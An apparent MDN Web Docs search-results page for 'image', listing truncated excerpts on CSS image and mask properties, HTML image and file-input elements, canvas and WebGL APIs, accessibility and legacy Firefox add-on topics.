...how to edit images, extract zip files, and how to modify css.
...And 29 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
in a typical image file, the color channels describe how much red, green, and blue are used to make up the final color.
...in vector images, they are used to model smooth curves that can be scaled indefinitely.
... 47 cms cms, composing, content management system, glossary a cms (content management system) is software that allows users to publish, organize, change, or remove various kinds of content, not only text but also embedded images, video, audio, and interactive code.
...And 24 more matches
mask-size - CSS: Cascading Style Sheets
WebCSSmask-size
the mask-size css property specifies the sizes of the mask images.
... the size of the image can be fully or partially constrained in order to preserve its intrinsic ratio.
... /* keywords syntax */ mask-size: cover; mask-size: contain; /* one-value syntax */ /* the width of the image (height set to 'auto') */ mask-size: 50%; mask-size: 3em; mask-size: 12px; mask-size: auto; /* two-value syntax */ /* first value: width of the image, second value: height */ mask-size: 50% auto; mask-size: 3em 25%; mask-size: auto 6px; mask-size: auto auto; /* multiple values */ /* do not confuse this with mask-size: auto auto */ mask-size: auto, auto; mask-size: 50%, 25%, 25%; mask-size: 6px, auto, contain; /* global values */ mask-size: inherit; mask-size: initial; mask-size: unset; note: if the value of this property is not set in a mask shorthand property that is applied to the element after the mask-size css property, the value of this property is then reset to its initial ...
...And 23 more matches
HTML: A good basis for accessibility - Learn web development
text alternatives whereas textual content is inherently accessible, the same cannot necessarily be said for multimedia content — image and video content cannot be seen by visually-impaired people, and audio content cannot be heard by hearing-impaired people.
... we have a simple example written up, accessible-image.html, which features four copies of the same image: <img src="dinosaur.png"> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth." title="the mozilla red dinosaur"> <img src="dinosaur.png" aria-labelledby="dino-label"> <p id="dino-label">the mozilla red tyrannosaurus rex: a two legged dinosau...
...r standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p> the first image, when viewed by a screen reader, doesn't really offer the user much help — voiceover for example reads out "/dinosaur.png, image".
...And 22 more matches
HTML: A good basis for accessibility - Learn web development
text alternatives whereas textual content is inherently accessible, the same cannot necessarily be said for multimedia content — image and video content cannot be seen by visually-impaired people, and audio content cannot be heard by hearing-impaired people.
... we have a simple example written up, accessible-image.html, which features four copies of the same image: <img src="dinosaur.png"> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth." title="the mozilla red dinosaur"> <img src="dinosaur.png" aria-labelledby="dino-label"> <p id="dino-label">the mozilla red tyrannosaurus rex: a two legged dinosau...
...r standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p> the first image, when viewed by a screen reader, doesn't really offer the user much help — voiceover for example reads out "/dinosaur.png, image".
...And 22 more matches
Index - Learn web development
3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks this chapter has provided a summary of accessibility concerns for multimedia content, along with some practical solutions.
...the enclosing tags can make a word or image hyperlink to somewhere else, can italicize words, can make the font bigger or smaller, and so on.
...we'll start by creating a simple webpage with a heading, an image, and a few paragraphs.
...And 22 more matches
Index
MozillaTechXPCOMIndex
95 xpcom category image-sniffing-services add-ons, extensions, needscontent in versions of firefox prior to firefox 3, extensions could add decoders for new image types.
... however, such decoders relied on servers sending correct mime types; images sent with incorrect mime types would not be correctly displayed.
...non-text objects can have either a single link or a collection of links such as when the non-text object is an image map.
...And 22 more matches
Using files from web applications - Web APIs
consider this html: <input type="file" id="fileelem" multiple accept="image/*" style="display:none"> <button id="fileselect">select some files</button> the code that handles the click event can look like this: const fileselect = document.getelementbyid("fileselect"), fileelem = document.getelementbyid("fileelem"); fileselect.addeventlistener("click", function (e) { if (fileelem) { fileelem.click(); } }, false); you can style the new button for opening the ...
... consider this html: <input type="file" id="fileelem" multiple accept="image/*" class="visually-hidden"> <label for="fileelem">select some files</label> and this css: .visually-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px, 1px, 1px, 1px); } /* separate rule for compatibility, :focus-within is required on modern firefox and chrome */ input.visually-hidden:focus + label { outline: thin dotted; } input.visua...
... example: showing thumbnails of user-selected images let's say you're developing the next great photo-sharing website and want to use html to display thumbnail previews of images before the user actually uploads them.
...And 22 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
<input type="file" accept="image/*, text/*" name="file"/> hidden a control that is not displayed but whose value is submitted to the server.
... image a graphical submit button.
... displays an image defined by the src attribute.
...And 22 more matches
In-Depth - Archive of obsolete content
values: normal, reverse -moz-image-region this is useful for dividing up an image into multiple smaller images.
...check out the section on organizing images for more information.
... example: -moz-image-region: rect(168px 69px 189px 46px); -moz-opacity makes boxes semi-transparent.
...And 21 more matches
Animated PNG graphics
MozillaTechAPNG
authors the apng specification was authored by: stuart parmenter <pavlov@pavlov.net> vladimir vukicevic <vladimir@pobox.com> andrew smith <asmith15@littlesvr.ca> overview apng is an extension of the portable network graphics (png) format, adding support for animated images.
... it is intended to be a replacement for simple animated images that have traditionally used the gif format, while adding support for 24-bit images and 8-bit transparency.
... apng is a simpler alternative to mng, providing a spec suitable for the most common usage of animated images on the internet.
...And 21 more matches
Web video codec guide - Web media technologies
if the codec converts the media into an internal pixel format, or otherwise represents the image using a means other than simple pixels, the format of the original image doesn't make any difference.
...additionally, in saturated portions of the image (that is, where colors are pure and intense, such as a bright, pure red [rgba(255, 0, 0, 1)]), color depths below 10 bits per component (10-bit color) allow banding, where gradients cannot be represented without visible stepping of the colors.
... frame rate primarily affects the perceived smoothness of the motion in the image.
...And 21 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
you can then view previously-captured images and delete them.
... our desktop layout for snapshot is three columns, containing the camera viewer, image capture view, and gallery, respectively.
...in the snapshot example, we ended up with slightly different code: x-card:nth-child(1) video, x-card:nth-child(2) img { width: 100%; … } this is because in our case, we do in fact want the video and image to stretch to always fill their containers no matter what — a subtle but important difference from max-width — and therefore always be the same size.
...And 21 more matches
imgIRequest
inherits from: nsirequest last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void cancelandforgetobserver(in nsresult astatus); imgirequest clone(in imgidecoderobserver aobserver); void decrementanimationconsumers(); imgirequest getstaticrequest(); void incrementanimationconsumers(); void lockimage(); void requestdecode(); void unlockimage(); attributes attribute type description corsmode long the cors mode that this image was loaded with.
... image imgicontainer the image container.
... imageprincipal nsiprincipal the principal gotten from the channel the image was loaded from.
...And 20 more matches
Using the CSS Painting API - Web APIs
the css paint api is designed to enable developers to programmatically define images which can then be used anywhere a css image can be invoked, such as css background-image, border-image, mask-image, etc.
... to programmatically create an image used by a css stylesheet we need to work through a few steps: define a paint worklet using the registerpaint() function register the worklet include the paint() css function to elaborate over these steps, we're going to start by creating a half-highlight background, like on this header: css paint worklet in an external script file, we employ the registerpaint() function to name our css paint worklet.
...the second parameter is the class that does all the magic, defining the context options and what to paint to the two-dimensional canvas that will be our image.
...And 20 more matches
Progressive loading - Progressive web apps (PWAs)
images besides javascript and css, websites will likely contain a number of images.
... when you include <img> elements in your html, then every referenced image will be fetched and downloaded during initial website access.
... it's not unusual to have megabytes of image data to download before announcing the site is ready, but this again creates a bad perception of performance.
...And 19 more matches
context-menu - Archive of obsolete content
for example, a good use of the menu would be to show an "edit image" item when the user right-clicks an image in the page.
...it does not occur when the user invokes the context menu on a link, image, or other non-text node, or while a selection exists.
...for instance, you might want your menu item to appear for any page that has at least one image, but declarative contexts won't help you there.
...And 18 more matches
Theme concepts
themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip.
... these theme options can be implemented as static themes (although the theme images themselves may be animated) or as dynamic themes created in a browser extension.
... defining a theme to create a theme (in this example a simple, single image theme): create a folder in a suitable location on your computer.
...And 17 more matches
Creating localizable web applications
don't put text or numbers in images.
...good: body.de foo, body.fr foo, body.pl foo { /* locale-specific rules for the foo element */ width: 10em; /* originally 8em */ } adapt the interaction to rtl locales right-to-left locales not only require good images handling (see images), but also should be taken into account when designing the interaction on the website.
...this is useful for strings occurring in the webapp multiple times, like "return to top", "comments", "click to see larger image" etc.
...And 17 more matches
Using textures in WebGL - Web APIs
the code that loads the texture looks like this: // // initialize a texture and load an image.
... // when the image finished loading copy it into the texture.
... // function loadtexture(gl, url) { const texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); // because images have to be download over the internet // they might take a moment until they are ready.
...And 17 more matches
Sizing items in CSS - Learn web development
a straightforward example is an image.
... an image has a width and a height defined in the image file it is embedding into the page.
... this size is described as the intrinsic size — which comes from the image itself.
...And 16 more matches
Add to iPhoto
once installed, when you right-click on an image, you'll see among the options in the contextual menu an option to "add image to iphoto".
... choose it, and iphoto will start up (if it's not already running) and import the image.
...we use a few of these routines because the launch services routine we'll be using to launch iphoto and pass it the image to import uses cfurl for the file references.
...And 16 more matches
Applying styles and colors - Web APIs
the resulting image should look something like the screenshot.
...by increasing the step count and in effect drawing more circles, the background would completely disappear from the center of the image.
...in the images below, the grid represents the canvas coordinate grid.
...And 16 more matches
Drag Operations - Web APIs
these include text selections, images, and links.
... when an image or link is dragged, the url of the image or link is set as the drag data, and a drag begins.
... in html, apart from the default behavior for images, links, and selections, no other elements are draggable by default.
...And 16 more matches
mask - CSS: Cascading Style Sheets
WebCSSmask
the mask css shorthand property hides an element (partially or fully) by masking or clipping the image at specific points.
... constituent properties this property is a shorthand for the following css properties: mask-clip mask-composite mask-image mask-mode mask-origin mask-position mask-repeat mask-size syntax /* keyword values */ mask: none; /* image values */ mask: url(mask.png); /* pixel image used as mask */ mask: url(masks.svg#star); /* element within svg graphic used as mask */ /* combined values */ mask: url(masks.svg#star) luminance; /* element within svg graphic used as lumina...
...mask: inherit; mask: initial; mask: unset; /* multiple masks */ mask: url(masks.svg#star) left / 16px repeat-y, /* element within svg graphic is used as a mask on the left-hand side with a width of 16px */ url(masks.svg#circle) right / 16px repeat-y; /* element within svg graphic is used as a mask on the right-hand side with a width of 16px */ values <mask-reference> sets the mask image source.
...And 16 more matches
CSS3 - Archive of obsolete content
css backgrounds and borders module level 3 candidate recommendation adds: support, on backgrounds, for any type of <image>, and not only for uri() defined ones.
... support for multiple background images.
... support for the use of an <image> as the border with the css border-image, border-image-source, border-image-slice, border-image-width, border-image-outset, and border-image-repeat properties.
...And 15 more matches
Tips for authoring fast-loading HTML pages - Learn web development
if you use background images a lot in your css, you can reduce the number of http lookups needed by combining the images into one, known as an image sprite.
... then you just apply the same image each time you need it for a background and adjust the x/y coordinates appropriately.
... this technique works best with elements that will have limited dimensions, and will not work for every use of a background image.
...And 15 more matches
JavaScript-DOM Prototypes in Mozilla
as an example of this let's look at an html image element in a document.
... var obj = document.images[0]; here, obj will not really have any properties (except for the standard jsobject properties such as constructor, and the non-standard __parent__, __proto__, etc.), all the dom functionality of obj comes from obj's prototype (obj.__proto__) that xpconnect sets up when exposing the first image in document to javascript.
... all those properties come from the interfaces that the c++ image object (nshtmlimageelement) implements and chooses to expose to xpconnect through the object's class info.
...And 15 more matches
-webkit-mask-composite - CSS: Cascading Style Sheets
the -webkit-mask-composite property specifies the manner in which multiple mask images applied to the same element are composited with one another.
... mask images are composited in the opposite order that they are declared with the -webkit-mask-image property.
... syntax values clear overlapping pixels in the source mask image and the destination mask image are cleared.
...And 15 more matches
background - CSS: Cascading Style Sheets
the background shorthand css property sets all background style properties at once, such as color, image, origin and size, or repeat method.
... constituent properties this property is a shorthand for the following css properties: background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size syntax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background: url("test.jpg") repeat-y; /* using a <box> and <background-color> */ background: border-box red; /* a single image, centered and scaled */ background: no-repeat center/80% url("../img/image.png"); the background ...
... the syntax of each layer is as follows: each layer may include zero or one occurrences of any of the following values: <attachment> <bg-image> <position> <bg-size> <repeat-style> the <bg-size> value may only be included immediately after <position>, separated with the '/' character, like this: "center/80%".
...And 15 more matches
More Button Features - Archive of obsolete content
adding an image you can add an image to a button by specifying a url in the image attribute.
... the image is loaded from the url, which can be a relative or absolute url, and then the image is displayed on the button.
... the button below will have both a label and the image 'happy.png'.
...And 14 more matches
Advanced styling effects - Learn web development
first, some html: <article class="simple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> now the css: p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); } this gives us the following result: you'll see that we've got four items in the box-shadow property value: the first length value is the horizontal offset — the distance to the right the shadow is offset from the original box (or left, if the value is negative).
... multiple box shadows you can also specify multiple box shadows in a single box-shadow declaration, by separating them with commas: <article class="multiple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .multiple { box-shadow: 1px 1px 1px black, 2px 2px 1px black, 3px 3px 1px red, 4px 4px 1px red, 5px 5px 1px black, 6px 6px 1px black; } now we get this result: we've done something fun here by creating a raised box with multiple coloured layers, but you coul...
... first, we'll go with some different html for this example: <button>press me!</button> button { width: 150px; font-size: 1.1rem; line-height: 2; border-radius: 10px; border: none; background-image: linear-gradient(to bottom right, #777, #ddd); box-shadow: 1px 1px 1px black, inset 2px 3px 5px rgba(0,0,0,0.3), inset -2px -3px 5px rgba(255,255,255,0.5); } button:focus, button:hover { background-image: linear-gradient(to bottom right, #888, #eee); } button:active { box-shadow: inset 2px 2px 1px black, inset 2px 3px 5px rgba(0,0,0,0.3), ...
...And 14 more matches
Overview of CSS Shapes - CSS: Cascading Style Sheets
the specification defines three new properties: shape-outside — allows definition of basic shapes shape-image-threshold — sets an opacity threshold value.
... if an image is being used to define the shape, only the parts of the image that are the same opacity or greater than the threshold value are used in the shape.
... in the following example i have an image floated left.
...And 14 more matches
background-repeat - CSS: Cascading Style Sheets
the background-repeat css property sets how background images are repeated.
... a background image can be repeated along the horizontal and vertical axes, or not repeated at all.
... by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space).
...And 14 more matches
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
additional attributes in addition to the common attributes shared by all <input> elements, inputs of type file also support the following attributes: attribute description accept one or more unique file type specifiers describing file types to allow capture what source to use for capturing image or video data files a filelist listing the chosen files multiple a boolean which, if present, indicates that the user may choose more than one file accept the accept attribute value is a string that defines the file types the file input should accept.
... for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> capture the capture attribute value is a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
... the string image/* meaning "any image file".
...And 14 more matches
Create Your Own Firefox Background Theme - Archive of obsolete content
how to create your own background theme themes are made up of a "header" graphic image file, which skins the default firefox ui background.
... creating a theme header image the header image is displayed as the background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip.
... image requirements dimensions should be 3000px wide × 200px high png or jpg file format image must be no larger than 300 kb in file size tips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui.
...And 13 more matches
Dealing with files - Learn web development
so for example, if you put an image on your website at, test-site/myimage.jpg and then in a different file you try to invoke the image as test-site/myimage.jpg, it may not work.
...the most common things we'll have on any website project we create are an index html file and folders to contain images, style files, and script files.
... let's create these now: index.html: this file will generally contain your homepage content, that is, the text and images that people see when they first go to your site.
...And 13 more matches
SVG Guidelines
pros and cons of svg for images when used as a document format there is usually a compelling reason that makes svg the only solution.
... when used as an image format, it is sometimes less obvious whether it would be best to use svg or a raster image format for any given image.
... file size whether svg or a raster format will produce a smaller file for a given image depends very much on the image.
...And 13 more matches
nsIDragService
nsidragsession getcurrentsession( ) ; void invokedragsession( in nsidomnode adomnode, in nsisupportsarray atransferables, in nsiscriptableregion aregion, in unsigned long aactiontype ); void invokedragsessionwithimage(in nsidomnode adomnode, in nsisupportsarray atransferablearray, in nsiscriptableregion aregion, in unsigned long aactiontype, in nsidomnode aimage, in long aimagex, in long aimagey, in nsidomdragevent adragevent, in nsidomdatatransfer adatatransfer); void invokedragsessionwithselection(in nsiselection aselection, in nsisupportsarray atransferablearray, in unsigned long aactiontype, in n...
...this is used on mac and windows to update the position of a popup being used as a drag image during the drag operation.
... invokedragsessionwithimage() starts a modal drag session using an image.
...And 13 more matches
CanvasRenderingContext2D - Web APIs
it is used for drawing shapes, text, images, and other objects.
... canvasrenderingcontext2d.createpattern() creates a pattern using the specified image (a canvasimagesource).
... compositing canvasrenderingcontext2d.globalalpha alpha value that is applied to shapes and images before they are composited onto the canvas.
...And 13 more matches
Using Service Workers - Web APIs
now for a real example — what if we wanted to load images dynamically, but we wanted to make sure the images were loaded before we tried to display them?
...we can use .onload to only display the image after it’s loaded, but what about events that start happening before we start listening to them?
... we could try to work around this using .complete, but it’s still not foolproof, and what about multiple images?
...And 13 more matches
background-position - CSS: Cascading Style Sheets
the background-position css property sets the initial position for each background image.
... syntax /* keyword values */ background-position: top; background-position: bottom; background-position: left; background-position: right; background-position: center; /* <percentage> values */ background-position: 25% 75%; /* <length> values */ background-position: 0 0; background-position: 1cm 2cm; background-position: 10ch 8em; /* multiple images */ background-position: 0 0, center; /* edge offsets values */ background-position: bottom 10px right 20px; background-position: right 3em bottom 10px; background-position: bottom 10px right; background-position: top right 10px; /* global values */ background-position: inherit; background-position: initial; background-position: unset; the background-position property is specified as one or m...
... 1-value syntax: the value may be: the keyword value center, which centers the image.
...And 13 more matches
mask-repeat - CSS: Cascading Style Sheets
the mask-repeat css property sets how mask images are repeated.
... a mask image can be repeated along the horizontal axis, the vertical axis, both axes, or not repeated at all.
...; mask-repeat: no-repeat; /* two-value syntax: horizontal | vertical */ mask-repeat: repeat space; mask-repeat: repeat repeat; mask-repeat: round space; mask-repeat: no-repeat round; /* multiple values */ mask-repeat: space round, no-repeat; mask-repeat: round repeat, space, repeat-x; /* global values */ mask-repeat: inherit; mask-repeat: initial; mask-repeat: unset; by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space).
...And 13 more matches
<picture>: The Picture element - HTML: Hypertext Markup Language
WebHTMLElementpicture
the html <picture> element contains zero or more <source> elements and one <img> element to offer alternative versions of an image for different display/device scenarios.
...the selected image is then presented in the space occupied by the <img> element.
... to decide which url to load, the user agent examines each <source>'s srcset, media, and type attributes to select a compatible image that best matches the current layout and capabilities of the display device.
...And 13 more matches
Custom toolbar button - Archive of obsolete content
optional tools you can optionally use any image editor to customize the images.
...paste it into the new file: #custom-button-1, #wrapper-custom-button-1 {list-style-image: url("chrome://custombutton/content/button-1.png");} /* common style for all custom buttons */ .custombutton {-moz-image-region: rect( 0px 24px 24px 0px);} .custombutton:hover {-moz-image-region: rect(24px 24px 48px 0px);} [iconsize="small"] .custombutton {-moz-image-region: rect( 0px 40px 16px 24px);} [iconsize="small"] .custombutton:hover {-moz-image-region: rect(24px 40px 40px 24...
...it links to the button image, specifying the dimensions of the four parts of the image.
...And 12 more matches
Creating a Skin - Archive of obsolete content
a simple skin the image below shows the current find files dialog.
... the following style rules added to findfile.css will cause the changes shown in the accompanying image.
...note in the image that this style has applied only to the first tab, because it's the selected one.
...And 12 more matches
<statusbarpanel> - Archive of obsolete content
unlike normal buttons, a statusbarpanel can only have a label or an image but not both.
... attributes crop, image, label properties image, label style classes statusbarpanel-iconic, statusbarpanel-iconic-text, statusbarpanel-menu-iconic examples <statusbar> <statusbarpanel label="left panel"/> <spacer flex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute.
...for example, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } image type: uri the uri of the image to appear on the element.
...And 12 more matches
How can we design for all types of users? - Learn web development
if you want an elastic/responsive website, and you don't know what the browser's default width is, you can use the max-width property to allow up to 70 characters per line and no more: div.container { max-width:70em; } alternative content for images, audio, and video websites often include stuff besides plain text.
... images images can be either decorative or informative, but there's no guarantee that your users can see them.
... your readers may be using a very strict intranet that blocks images originating from a cdn.
...And 12 more matches
HTML basics - Learn web development
for example, content could be structured within a set of paragraphs, a list of bulleted points, or using images and data tables.
...the enclosing tags can make a word or image hyperlink to somewhere else, can italicize words, can make the font bigger or smaller, and so on.
...take the <img> element that we already have in our html page: <img src="images/firefox-icon.png" alt="my test image"> this contains two attributes, but there is no closing </img> tag and no inner content.
...And 12 more matches
Taking still photos with WebRTC - Web APIs
next, we have a <canvas> element into which the captured frames are stored, potentially manipulated in some way, and then converted into an output image file.
... we also have an <img> element into which we will draw the image — this is the final display shown to the user.
... (function() { var width = 320; // we will scale the photo width to this var height = 0; // this will be computed based on the input stream var streaming = false; var video = null; var canvas = null; var photo = null; var startbutton = null; those variables are: width whatever size the incoming video is, we're going to scale the resulting image to be 320 pixels wide.
...And 12 more matches
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
this change means that the aspect ratio of the image is calculated by the browser early on and can then be used to correct the size needed to display the image before it has loaded, if css has been applied that causes problems with its display size.
... jank problems when loading images in the olden days of web development, it was always seen as a good practice to add width and height attributes to your html <img> elements, so that when browsers first loaded the page, they could put a correctly-sized placeholder box in the layout for each image to appear in when it finally loads.
... without the width and height attributes, no placeholder space would be created, and when the image finally loaded you would get a noticeable jank in the page layout.
...And 12 more matches
widget - Archive of obsolete content
creation and content widgets can contain images or arbitrary web content.
...if the content is an image, it is automatically scaled to be 16x16 pixels.
... for example, this widget contains an image, so it looks like a simple icon: require("sdk/widget").widget({ id: "mozilla-icon", label: "my mozilla widget", contenturl: "http://www.mozilla.org/favicon.ico" }); you can make contenturl point to an html or icon file which you have packaged inside your add-on.
...And 11 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
unlike normal buttons, a statusbarpanel can only have a label or an image but not both.
... 155 image xul attributes, xul reference no summary!
... 156 image.onload no summary!
...And 11 more matches
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
floating fish with the cards set up to float, the next step was to place the images appropriately.
... this involved floating the image inside the floated div.
...i also added a border to the image, so that it would have a nice frame.
...And 11 more matches
2D maze game with device orientation - Game development
there are also three folders in the directory: img: all the images that we will use in the game.
...without the framework, to add the canvas element to the page, you would have to write something like this inside the <body> tag: <canvas id='game' width='320' height='480'></canvas> the important thing to remember is that the framework is setting up helpful methods to speed up a lot of things like image manipulation or assets management, which would be a lot harder to do manually.
... var ball = { _width: 320, _height: 480 }; ball.boot = function(game) {}; ball.boot.prototype = { preload: function() { this.load.image('preloaderbg', 'img/loading-bg.png'); this.load.image('preloaderbar', 'img/loading-bar.png'); }, create: function() { this.game.scale.scalemode = phaser.scalemanager.show_all; this.game.scale.pagealignhorizontally = true; this.game.scale.pagealignvertically = true; this.game.state.start('preloader'); } }; the main ball object is defined and we'...
...And 11 more matches
Responsive design - Learn web development
the second technique was the idea of fluid images.
... using a very simple technique of setting the max-width property to 100%, images would scale down smaller if their containing column became narrower than the image's intrinsic size, but never grow larger.
... this enables an image to scale down to fit in a flexibly-sized column, rather than overflow it, but not grow larger and become pixellated if the column becomes wider than the image.
...And 11 more matches
Styling lists - Learn web development
handling list spacing when styling lists, you need to adjust their styles so they keep the same vertical spacing as their surrounding elements (such as paragraphs and images; sometimes called vertical rhythm), and the same horizontal spacing as each other (you can see the finished styled example on github, and find the source code too.) the css used for the text styling and spacing is as follows: /* general styles */ html { font-family: helvetica, arial, sans-serif; font-size: 10px; } h2 { font-size: 2rem; } ul,ol,dl,p { font-size: 1.5rem; } li, p { ...
... list-style-image: allows you to use a custom image for the bullet, rather than a simple square or circle.
... if you set the value to inside, the bullets will sit inside the lines: ol { list-style-type: upper-roman; list-style-position: inside; } using a custom bullet image the list-style-image property allows you to use a custom image for your bullet.
...And 11 more matches
JavaScript basics - Learn web development
if values couldn't change, then you couldn't do anything dynamic, like personalize a greeting message or change an image displayed in an image gallery.
... adding an image changer in this section, you will learn how to use javascript and dom api features to alternate the display of one of two images.
... this change will happen as a user clicks the displayed image.
...And 11 more matches
Graceful asynchronous programming with Promises - Learn web development
in the first example, we'll use the fetch() method to fetch an image from the web, the blob() method to transform the fetch response's raw body contents into a blob object, and then display that blob inside an <img> element.
... first of all, download our simple html template and the sample image file that we'll fetch.
... inside your <script> element, add the following line: let promise = fetch('coffee.jpg'); this calls the fetch() method, passing it the url of the image to fetch from the network as a parameter.
...And 11 more matches
imgIDecoderObserver
image/public/imgidecoderobserver.idlscriptable this interface is used both for observing imgidecoder objects and for observing imgirequest objects.
... it lets you monitor the progress of loading an image.
...load notifications are fired as the image is loaded from the network or filesystem.
...And 11 more matches
HTMLCanvasElement.toBlob() - Web APIs
the htmlcanvaselement.toblob() method creates a blob object representing the image contained in the canvas; this file may be cached on the disk or stored in memory at the discretion of the user agent.
... if type is not specified, the image type is image/png.
... the created image is in a resolution of 96dpi.
...And 11 more matches
Digital video concepts - Web media technologies
encoding color representing the colors in an image or video requires several values for each pixel.
... rgb most computer graphics models use the rgb color system, wherein some number of bits of data are used to represent each of the red, green, and blue components of the color of an individual pixel, and an image is comprised of a two-dimensional array of these pixels.
... yuv unlike rgb, the yuv (or y'uv) color encoding system is based around how humans perceive a color image.
...And 11 more matches
Graphic design for responsive sites - Progressive web apps (PWAs)
serving images selectively via css in general, you will use mostly the same graphical assets for different layouts in a responsive design, but you may well include slightly different ones dependant on context.
... making html <img>s responsive is not as easy, as there is currently no native mechanism to serve different html images depending on context.
...for an overview of what's available, read choosing a responsive image solution.
...And 11 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
optional tools you can optionally use any image editor to customize the images.
...paste it into the new file: #custom-button-1 {list-style-image: url("chrome://custombutton/content/button-1s.png");} /* common style for all custom buttons - modern */ #nav-bar .custombutton {-moz-image-region: rect( 0px 41px 39px 0px);} #nav-bar .custombutton:hover {-moz-image-region: rect( 0px 83px 39px 42px);} #nav-bar .custombutton:active {-moz-image-region: rect( 0px 125px 39px 84px);} .custombutton {-moz-image-region: rect(39px 49px 72px ...
... 0px);} .custombutton:hover {-moz-image-region: rect(39px 98px 72px 49px);} .custombutton:active {-moz-image-region: rect(39px 147px 72px 98px);} /* common style for all custom buttons - classic */ .custombutton {-moz-image-region: rect( 0px 145px 20px 126px);} .custombutton:hover {-moz-image-region: rect( 0px 164px 20px 145px);} .custombutton:active {-moz-image-region: rect( 0px 183px 20px 164px);} remove one of the common style sections, leaving the section for the theme that you use in seamonkey.
...And 10 more matches
menuitem - Archive of obsolete content
attributes acceltext, accesskey, allowevents, autocheck, checked, closemenu, command, crop, description, disabled, image, key, label, name, selected, tabindex, type, validate, value properties accessibletype, accesskey, command, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value style classes menuitem-iconic, menuitem-non-iconic examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value="3"...
... image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
...And 10 more matches
Mozilla splash page - Learn web development
previous overview: multimedia and embedding in this assessment, we'll test your knowledge of some of the techniques discussed in this module's articles, getting you to add some images and video to a funky splash page all about mozilla!
... objective: to test knowledge around embedding images and video in web pages, frames, and html responsive image techniques.
... starting point to start off this assessment, you need to grab the html and all the images available in the mdn-splash-page-start directory on github.
...And 10 more matches
imgIEncoder
1.0 66 introduced gecko 1.8 inherits from: nsiasyncinputstream last changed in gecko 1.9 (firefox 3) method overview void addimageframe( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 frameformat, in astring frameoptions); void encodeclipboardimage(in nsiclipboardimage aclipboardimage, out nsifile aimagefile); obsolete since gecko 1.9 void endimageencode(); void initfromdata([array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 inputformat, in astring outputoptions); voi...
...d startimageencode(in pruint32 width, in pruint32 height, in pruint32 inputformat, in astring outputoptions); constants possible values for input format (note that not all image formats support saving alpha channels): constant value description input_format_rgb 0 input is rgb each pixel is represented by three bytes: r, g, and b (in that order, regardless of host endianness) input_format_rgba 1 input is rgb each pixel is represented by four bytes: r, g, and b (in that order, regardless of host endianness).
... apng: ----- the following options can be used with startimageencode(): transparency=[yes|no|none] -- default: "yes" overrides default from input format.
...And 10 more matches
Perceivable - Accessibility
non-text content refers to multimedia such as images, audio, and video.
... success criteria how to conform to the criteria practical resource 1.1.1 provide text equivalents (a) all images that convey meaningful content should be given suitable alternative text.
... complex images or charts should have an accessible alternative provided, either on the same page or via a link.
...And 10 more matches
content - CSS: Cascading Style Sheets
WebCSScontent
/* keywords that cannot be combined with other values */ content: normal; content: none; /* <image> values */ content: url("http://www.example.com/test.png"); content: linear-gradient(#e66465, #9198e5); /* alt text for generated content, added in the level 3 specification */ content: url("http://www.example.com/test.png") / "this is the alt text"; /* values below can only be applied to generated content using ::before and ::after */ /* <string> value */ content: "prefix"; /* <counter> values */ content: counter(chapter_counter); content: counters(section_counter, "."); /* attr() value linked to the html attribute value */ content: attr(value s...
